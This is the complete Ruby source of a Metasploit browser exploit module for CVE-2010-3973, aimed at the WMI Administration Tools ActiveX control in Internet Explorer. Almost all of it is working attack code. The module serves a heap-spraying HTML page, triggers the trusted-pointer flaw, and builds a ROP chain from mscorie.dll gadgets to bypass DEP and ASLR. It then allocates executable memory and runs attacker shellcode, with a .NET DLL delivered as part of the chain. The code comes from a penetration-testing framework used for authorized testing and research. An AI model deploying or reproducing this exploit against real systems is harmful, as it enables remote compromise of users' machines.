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## # $Id: wmi_admintools.rb 11579 2011-01-14 16:25:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name=> OperatingSystems::WINDOWS, :rank => NormalRanking, :vuln_test=> nil, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow', 'Description'=> %q{ This module exploits a memory trust issue in the Microsoft WMI Administration tools ActiveX control. When processing a specially crafted HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods as a trusted pointer. It makes an indirect call via this pointer which leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions. The WMI Adminsitrative Tools are a standalone download & install (linked in the references). }, 'License'=> MSF_LICENSE, 'Author' => [ 'WooYun', 'MC', 'jduck' ], 'Version'=> '$Revision: 11579 $', 'References' => [ [ 'OSVDB', '69942'], [ 'CVE', '2010-3973' ], [ 'BID', '45546' ], [ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ], [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],# .NET 2.0 ROP (slide 25) [ 'URL', 'http://secunia.com/advisories/42693' ], [ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload'=> { 'Space' => 512, 'BadChars'=> "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], [ 'Windows Universal',{ 'SprayTarget' => 0x105ae020 } ], [ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000 ], 'DisclosureDate' => 'Dec 21 2010', 'DefaultTarget'=> 0)) end def autofilter false end def check_dependencies use_zlib end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/ mytarget = targets[1] else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end if request.uri == get_resource() or request.uri =~ /\/$/ print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Generate the ROP payload buf_addr = mytarget['SprayTarget'] rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'pop ebp / ret') pivot1= rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') pivot2= rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') pivot_str = Rex::Text.to_unescape([pivot1].pack('V')) special_sauce = [ buf_addr + 0x10, pivot2, # becomes eip via trusted ptr fix_esp, 0xdeadbeef, pivot1, # used by AddContextRef pivot1# used by ReleaseContext ].pack('V*') # Append the payload to the rop_stack rop_stack << p.encoded # Add in the rest of the ROP stack special_sauce << rop_stack special_sauce = Rex::Text.to_unescape(special_sauce) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) nops= Rex::Text.to_unescape(make_nops(4)) js_function= rand_text_alpha(rand(32)+1) vname= rand_text_alpha(rand(32) + 1) clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08" progid = "WBEM.SingleViewCtrl.1" method_names = [ "AddContextRef", "ReleaseContext" ] method_name = method_names[rand(method_names.length)] # Construct the heap spray javascript custom_js = <<-EOS function #{js_function}() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } #{vname}.#{method_name}(#{"0x%x" % buf_addr}); } EOS js = heaplib(custom_js) dll_uri = get_resource() dll_uri << '/' if dll_uri[-1,1] != '/' dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" # Construct the final page content = <<-EOS <html> <head> <script language='javascript'> #{js} </script> </head> <body onload='#{js_function}()'> <object classid="#{dll_uri}#GenericControl" /> <object classid="clsid:#{clsid}" id="#{vname}"></object> </body> </html> EOS # Transmit the response to the client send_response_html(cli, content) elsif request.uri =~ /\.dll$/ print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually # use it's contents ... ibase = (0x2000 | rand(0x8000)) << 16 dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16)) # Send a .NET v2.0 DLL down send_response(cli, dll, { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' }) end # Handle the payload handler(cli) end def rvas_mscorie_v2() # mscorie.dll version v2.0.50727.3053 # Just return this hash { 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, 'pop ebp / ret'=> 0x5557, 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, 'pop eax / ret'=> 0x5ba1, 'pop ebx / ret'=> 0x54c0, 'pop ecx / ret'=> 0x1e13, 'pop esi / ret'=> 0x1d9a, 'pop edi / ret'=> 0x2212, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, } end def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name=> RVA 'BaseAddress'=> 0x63f00000, 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ # Allocate an RWX memory segment 'pop ecx / ret', 'imp_VirtualAlloc', 'call [ecx] / pop ebp / ret 0xc', 0, # lpAddress 0x1000,# dwSize 0x3000,# flAllocationType 0x40,# flProt :unused, # Copy the original payload 'pop ecx / ret', :unused, :unused, :unused, :memcpy_dst, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc', :unused, 'pop esi / ret', :unused, :unused, :unused, :memcpy_src, 'pop edi / ret', 0xdeadf00d # to be filled in above ] (0x200 / 4).times { rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' } # Execute the payload ;) rop_stack << 'call [ecx] / pop ebp / ret 0xc' rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first elsif e == :memcpy_src # Based on stack length.. buf_addr + 0x18 + (rop_stack.length * 4) elsif e == :memcpy_dst # Store our new memory ptr into our buffer for later popping :) buf_addr + 0x18 + (21 * 4) else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end |
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